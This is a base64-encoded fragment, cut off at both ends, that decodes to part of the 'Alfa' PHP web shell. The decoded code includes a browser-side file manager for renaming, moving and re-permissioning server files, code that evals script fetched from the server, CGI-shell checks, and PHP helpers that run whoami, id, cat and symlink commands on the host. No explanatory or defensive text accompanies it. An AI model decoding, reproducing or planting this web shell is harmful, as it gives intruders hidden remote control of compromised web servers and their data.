SxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsieF0iKS5jaGVja2VkPSExfXZhciByPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJyXSIpLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrInddIiksbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsieF0iKTtpZigiYm9vbGVhbiIhPXR5cGVvZiBlKSI3Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCxuLmNoZWNrZWQ9ITApOiI0Ij09ZT9yLmNoZWNrZWQ9ITA6IjIiPT1lP28uY2hlY2tlZD0hMDoiMSI9PWU/bi5jaGVja2VkPSEwOiI2Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCk6IjMiPT1lPyhvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNSI9PWUmJihyLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKTtlbHNle3ZhciBzPTA7ci5jaGVja2VkJiYocys9NCksby5jaGVja2VkJiYocys9Miksbi5jaGVja2VkJiYocys9MSksInUiPT10P2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zOiJnIj09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9czoidyI9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9cyl9fWZ1bmN0aW9uIGdnKGUsdCxhLGksbCxyKXt2YXIgbz0iZmlsZXNtYW5faG9sZGVyXyIrYWxmYV9jdXJyZW50X2ZtX2lkO2FsZmFsb2FkZXIobywiYmxvY2siKSxkYXRhPSJhPSIrYWxmYWI2NChlKSsiJmM9IithbGZhYjY0KHQpKyImYWxmYTE9IithbGZhYjY0KGEpKyImYWxmYTI9IithbGZhYjY0KGkpKyImYWxmYTM9IithbGZhYjY0KGwpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRhLHIsITEsbyl9ZnVuY3Rpb24gYWxmYVBvcFVwRG9BY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6Y2FzZSJtb3ZlIjpjYXNlImNvcHkiOnZhciBhPWUuZ2V0QXR0cmlidXRlKCJmaWQiKS5yZXBsYWNlKCJpZF8iLCIiKSxpPSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlO2w9bC50cmltKCksaT1pLnRyaW0oKSxnZygiZG9BY3Rpb25zIixjXyxpLGwsdCxmdW5jdGlvbihlLGkpe2lmKCJyZW5hbWUiPT10KWlmKCJkb25lIj09ZSl7dmFyIHI9JCgiaWRfIithKTt1cGRhdGVGaWxlRWRpdG9yKGEsbCk7dmFyIG89ci5nZXRBdHRyaWJ1dGUoInBhdGgiKSskKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPW8sci5hZGRFdmVudExpc3RlbmVyKCJhbmltYXRpb25lbmQiLGZ1bmN0aW9uKCl7ci5jbGFzc0xpc3QucmVtb3ZlKCJ0ZXh0RWZmZWN0Iil9KSxyLmNsYXNzTGlzdC5hZGQoInRleHRFZmZlY3QiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigiUmVuYW1lZC4uLiIsIlJlbmFtZSBBY3Rpb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24oImVycm9yLi4uISIsIlJlbmFtZSBBY3Rpb24iLCJlcnJvciIpO2FsZmFsb2FkZXIoaSwibm9uZSIpfSk7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp2YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWUsbz1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWUsbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU7aT0oaT1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MKS50cmltKCk7dmFyIHM9ci50cmltKCkrby50cmltKCkrbi50cmltKCk7Z2coImRvQWN0aW9ucyIsY18saSxzLHQsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbihlLCJQZXJtaXNzaW9uIEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9KTticmVhaztjYXNlIm1vZGlmeSI6YT1lLmdldEF0dHJpYnV0ZSgiZmlkIikucmVwbGFjZSgiaWRfIiwiIik7dmFyIGM9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlLHU9JCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7Z2coImRvQWN0aW9ucyIsY18sYyx1LHQsZnVuY3Rpb24odCxhKXtpZigib2siPT10KXt2YXIgaT0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO2QucXVlcnlTZWxlY3RvcigiIyIraSsiIC5tYWluX21vZGlmeSIpLmlubmVySFRNTD1jLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJzdWNjZXNzLi4uIiwiTW9kaWZ5IEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZWxzZSBhbGZhU2hvd05vdGlmaWNhdGlvbih0LCJNb2RpZnkgQWN0aW9uIiwiZXJyb3IiKTthbGZhbG9hZGVyKGEsIm5vbmUiKX0pfX1mdW5jdGlvbiBhbGZhSW5pdFNvcmF0YWJsZVRhYihlKXtTb3J0YWJsZS5jcmVhdGUoZSx7ZGlyZWN0aW9uOiJob3Jpem9udGFsIixhbmltYXRpb246MzAwLGdob3N0Q2xhc3M6InNvcnRhYmxlLWdob3N0IixmaWx0ZXI6Ii5ub3Qtc29ydGFibGUifSl9JCgic2VhcmNoLWlucHV0IikuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlPSQoInNlYXJjaC1pbnB1dCIpLnZhbHVlO2Zvcih2YXIgdCBpbiBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdLmlubmVySFRNTD0iIixlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1t0XS5maWxlLnNlYXJjaChlKXx8IiI9PWUpe3ZhciBhPTA7dD09ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGE9IiBpc19hY3RpdmUiKSxpbnNlcnRUb0hpc3RvcnkodCxlZGl0b3JfZmlsZXNbdF0uZmlsZSxhLGVkaXRvcl9maWxlc1t0XS50eXBlKX19LDEwMCl9LCExKSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNoZWNrdXBkYXRlIiksZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgmJiJbXSIhPWUpe3ZhciB0PUpTT04ucGFyc2UoZSk7aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXtkLmJvZHkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLHQuY29udGVudCk7dHJ5e2V2YWxKUyh0LmNvbnRlbnQpfWNhdGNoKHQpe319aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29weXJpZ2h0IikmJigkKCJhbGZhLWNvcHlyaWdodCIpLmlubmVySFRNTD10LmNvcHlyaWdodCksdC5oYXNPd25Qcm9wZXJ0eSgic29sZXZpc2libGUiKSYmKCQoImFsZmFfc29sZXZpc2libGUiKS5pbm5lckhUTUw9dC5zb2xldmlzaWJsZSksdC5oYXNPd25Qcm9wZXJ0eSgiY29kZV9uYW1lIikmJigkKCJoaWRkZW5fc2giKS5pbm5lckhUTUw9dC5jb2RlX25hbWUucmVwbGFjZSgvXHt2ZXJzaW9uXH0vZyx0LnZlcnNpb25fbnVtYmVyKSksdC5oYXNPd25Qcm9wZXJ0eSgibWFya2V0Iikpe3ZhciBhPWQucXVlcnlTZWxlY3Rvcigic3Bhbi5hbGZhX3BsdXMiKTtpZih0Lm1hcmtldC5oYXNPd25Qcm9wZXJ0eSgidmlzaWJsZSIpJiYieWVzIj09dC5tYXJrZXQudmlzaWJsZSYmKCQoIm1lbnVfb3B0X21hcmtldCIpLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLCJvcGVuIiE9dC5tYXJrZXQuc3RhdHVzJiYoYS5zdHlsZS5jb2xvcj0iI2ZmYzEwNyIpLHQubWFya2V0Lmhhc093blByb3BlcnR5KCJjb250ZW50IikpdHJ5e2V2YWxKUyh0Lm1hcmtldC5jb250ZW50KX1jYXRjaCh0KXt9fX19KSw8P3BocCBlY2hvICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXTsgPz4/X0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJ1cGRhdGVoZWFkZXIiKSxmdW5jdGlvbihlKXt0cnl7dmFyIHQ9SlNPTi5wYXJzZShlKTtmb3IodmFyIGEgaW4gdCl7Zm9yKHZhciBpPSIiLGw9MDtsPHRbYV0ubGVuZ3RoO2wrKylpKz0idXNlZnVsIj09YXx8ImRvd25sb2FkZXIiPT1hPyc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nK3RbYV1bbF0rIjwvc3Bhbj4iOnRbYV1bbF07dmFyIHI9JCgiaGVhZGVyXyIrYSk7ciYmKHIuaW5uZXJIVE1MPWkpfSQoImhlYWRlcl9jZ2lzaGVsbCIpLmlubmVySFRNTD0iT04iLCQoImhlYWRlcl9jZ2lzaGVsbCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJoZWFkZXJfb24iKX1jYXRjaChlKXt9fSk6aXNsaW51eCYmX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJjaGVja2NnaSIpLGZ1bmN0aW9uKGUpeyJvayI9PWUmJigkKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIikpfSksZnVuY3Rpb24oKXtkLm9uY2xpY2s9ZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSExLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSEwfSw2MDApfSx3aW5kb3cub25oYXNoY2hhbmdlPWZ1bmN0aW9uKGUpe2Nhbl9oYXNoY2hhbmdlX3dvcmsmJmFsZmFDaGVja1VybEhhc2goKX0sYWxmYUNoZWNrVXJsSGFzaCgpLGFsZmFnZXRGbGFncygpLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PSQoInJpZ2h0Y2xpY2tfbWVudSIpLnN0eWxlLGFsZmFJbml0Q3dkQ29udGV4dCgpLGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIwIixzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0iaGlkZGVuIn0sNTAxKX0sITEpO3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9Tb3J0YWJsZS8xLjEwLjIvU29ydGFibGUubWluLmpzIixlLmlkPSJzb3J0YWJsZS1wbHVnaW4iLGUub25sb2FkPWZ1bmN0aW9uKCl7YWxmYUluaXRTb3JhdGFibGVUYWIoJCgiZmlsZXNtYW5fdGFic19jaGlsZCIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpKSxhbGZhSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikpLGFsZmFJbml0U29yYXRhYmxlVGFiKGQucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIikpfSxkLmJvZHkuYXBwZW5kQ2hpbGQoZSl9KCk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7CmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBhbGZhV2hpY2goJHApIHsKJHBhdGggPSBhbGZhRXgoJ3doaWNoICcgLiAkcCxmYWxzZSxmYWxzZSk7CmlmKCFlbXB0eSgkcGF0aCkpCnJldHVybiBzdHJsZW4oJHBhdGgpOwpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWxmYVNpemUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwplbHNlaWYoJHMgPj0gMTA0ODU3NikKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKZWxzZWlmKCRzID49IDEwMjQpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CmVsc2UKcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBhbGZhUGVybXMoJHApIHsKaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3PigIsnOwplbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2zigIsnOwplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy3igIsnOwplbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2LigIsnOwplbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2TigIsnOwplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2PigIsnOwplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3DigIsnOwplbHNlICRpID0gJ3XigIsnOwokaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdy4oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwODApID8gJ3figIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdz4oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDgwMCkgPyAnU+KAiycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncuKAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd34oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAnc+KAiycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA0MDApID8gJ1PigIsnIDogJy0nKSk7CiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3LigIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAnd+KAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3TigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdU4oCLJyA6ICctJykpOwpyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gYWxmYVBlcm1zQ29sb3IoJGYsJGlzYmFzaD1mYWxzZSl7CiRjbGFzcyA9ICIiOwokbnVtID0gIiI7CiRodW1hbiA9ICIiOwppZigkaXNiYXNoKXsKJGNsYXNzID0gJGZbImNsYXNzIl07CiRudW0gPSAkZlsibnVtIl07CiRodW1hbiA9ICRmWyJodW1hbiJdOwp9ZWxzZXsKJG51bSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGYpKSwtNCk7CiRodW1hbiA9IGFsZmFQZXJtcyhAZmlsZXBlcm1zKCRmKSk7CmlmKCFAaXNfcmVhZGFibGUoJGYpKQokY2xhc3MgPSAibWFpbl9yZWRfcGVybSI7CmVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCiRjbGFzcyA9ICJtYWluX3doaXRlX3Blcm0iOwplbHNlCiRjbGFzcyA9ICJtYWluX2dyZWVuX3Blcm0iOwp9CnJldHVybiAnPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJG51bS4nPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJiZWV0d2Vlbl9wZXJtcyI+ID4+IDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iJy4kY2xhc3MuJyI+Jy4kaHVtYW4uJzwvc3Bhbj4nOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKJGRoID0gb3BlbmRpcigkZGlyKTsKd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkKJGZpbGVzW10gPSAkZmlsZW5hbWU7CnJldHVybiAkZmlsZXM7Cn0KfQpmdW5jdGlvbiByZUFycmF5RmlsZXMoJGZpbGVfcG9zdCl7CiRmaWxlX2FyeSA9IGFycmF5KCk7CiRmaWxlX2NvdW50ID0gY291bnQoJGZpbGVfcG9zdFsnbmFtZSddKTsKJGZpbGVfa2V5cyA9IGFycmF5X2tleXMoJGZpbGVfcG9zdCk7CmZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsKZm9yZWFjaCAoJGZpbGVfa2V5cyBhcyAka2V5KSB7CiRmaWxlX2FyeVskaV1bJGtleV0gPSAkZmlsZV9wb3N0WyRrZXldWyRpXTsKfQp9CnJldHVybiAkZmlsZV9hcnk7Cn0KZnVuY3Rpb24gX2FsZmFfY2FuX3J1bkNvbW1hbmQoJGNnaT10cnVlLCRjYWNoZT10cnVlKXsKCWlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmKHN0cmxlbihhbGZhRXgoIndob2FtaSIsZmFsc2UsJGNnaSkpPjApewoJCSRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdID0gdHJ1ZTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfYWxmYV9zeW1saW5rKCR0YXJnZXQsICRsaW5rKXsKCSRwaHBzeW0gPSBmdW5jdGlvbl9leGlzdHMoInN5bWxpbmsiKTsKCWlmKCRwaHBzeW0pewoJCUBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsKCX1lbHNlewoJCWFsZmFFeCgibG4gLXMgJyIuYWRkc2xhc2hlcygkdGFyZ2V0KS4iJyAnIi5hZGRzbGFzaGVzKCRsaW5rKS4iJyIpOwoJfQp9CmZ1bmN0aW9uIF9hbGZhX2ZpbGVfZXhpc3RzKCRmaWxlLCRjZ2k9dHJ1ZSl7CglpZihAZmlsZV9leGlzdHMoJGZpbGUpKXsKCQlyZXR1cm4gdHJ1ZTsKCX1lbHNlewoJCWlmKHN0cmxlbihhbGZhRXgoImxzIC1sYSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApewoJCQlyZXR1cm4gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gX2FsZmFfZmlsZSgkZmlsZSwkY2dpPXRydWUpewoJJGFycmF5ID0gQGZpbGUoJGZpbGUpOwoJaWYoISRhcnJheSl7CgkJaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLCRjZ2kpKT4wKXsKCQkJJGRhdGEgPSBhbGZhRXgoJ2NhdCAiJy5hZGRzbGFzaGVzKCRmaWxlKS4nIicsZmFsc2UsJGNnaSk7CgkJCWlmKHN0cmxlbigkZGF0YSk+MCl7CgkJCQlyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7CgkJCX1lbHNlewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfWVsc2V7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9ZWxzZXsKCQlyZXR1cm4gJGFycmF5OwoJfQp9CmZ1bmN0aW9uIF9hbGZhX2lzX3dyaXRhYmxlKCRmaWxlKXsKCSRjaGVjayA9IGZhbHNlOwoJJGNoZWNrID0gQGlzX3dyaXRhYmxlKCRmaWxlKTsKCWlmKCEkY2hlY2spewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgLXcgIicudHJpbShhZGRzbGFzaGVzKCRmaWxlKSkuJyIgXSAmJiBlY2hvICJ5ZXMiIHx8IGVjaG8gIm5vIicpOwoJCQlpZigkY2hlY2sgPT0gInllcyIpewoJCQkJJGNoZWNrID0gdHJ1ZTsKCQkJfWVsc2V7CgkJCQkkY2hlY2sgPSBmYWxzZTsKCQkJfQoJCX0KCX0KCXJldHVybiAkY2hlY2s7Cn0KZnVuY3Rpb24gX2FsZmFfaXNfZGlyKCRkaXIsJG1vZGU9Ii1kIil7CgkkY2hlY2sgPSBmYWxzZTsKCSRjaGVjayA9IEBpc19kaXIoJGRpcik7CglpZigkbW9kZSA9PSAiLWUiKXsKCQkkY2hlY2sgPSBAaXNfZmlsZSgkZGlyKTsKCX0KCWlmKCEkY2hlY2spewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVjaG8gInllcyIgfHwgZWNobyAibm8iJyk7CgkJCWlmKCRjaGVjayA9PSAieWVzIil7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfWVsc2V7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9Cgl9CglyZXR1cm4gJGNoZWNrOwp9CmZ1bmN0aW9uIF9hbGZhX2xvYWRfYWNlX29wdGlvbnMoJGJhc2UpewoJcmV0dXJuICc8c3Bhbj5UaGVtZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIgYWNlLXRoZW1lLXNlbGVjdG9yIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJhbGZhQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwndGhlbWVcJyk7Ij48b3B0aW9uIHZhbHVlPSJ0ZXJtaW5hbCIgc2VsZWN0ZWQ+dGVybWluYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbWJpYW5jZSI+YW1iaWFuY2U8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaGFvcyI+Y2hhb3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaHJvbWUiPmNocm9tZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNsb3VkcyI+Y2xvdWRzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzX21pZG5pZ2h0Ij5jbG91ZHNfbWlkbmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjb2JhbHQiPmNvYmFsdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNyaW1zb25fZWRpdG9yIj5jcmltc29uX2VkaXRvcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRhd24iPmRhd248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJkcmFjdWxhIj5kcmFjdWxhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZHJlYW13ZWF2ZXIiPmRyZWFtd2VhdmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZWNsaXBzZSI+ZWNsaXBzZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdpdGh1YiI+Z2l0aHViPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ29iIj5nb2I8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJncnV2Ym94Ij5ncnV2Ym94PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaWRsZV9maW5nZXJzIj5pZGxlX2ZpbmdlcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpcGxhc3RpYyI+aXBsYXN0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrYXR6ZW5taWxjaCI+a2F0emVubWlsY2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrcl90aGVtZSI+a3JfdGhlbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrdXJvaXIiPmt1cm9pcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1lcmJpdm9yZSI+bWVyYml2b3JlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlX3NvZnQiPm1lcmJpdm9yZV9zb2Z0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibW9ub19pbmR1c3RyaWFsIj5tb25vX2luZHVzdHJpYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25va2FpIj5tb25va2FpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibm9yZF9kYXJrIj5ub3JkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwYXN0ZWxfb25fZGFyayI+cGFzdGVsX29uX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfZGFyayI+c29sYXJpemVkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfbGlnaHQiPnNvbGFyaXplZF9saWdodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbHNlcnZlciI+c3Fsc2VydmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGV4dG1hdGUiPnRleHRtYXRlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3ciPnRvbW9ycm93PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHQiPnRvbW9ycm93X25pZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYmx1ZSI+dG9tb3Jyb3dfbmlnaHRfYmx1ZTw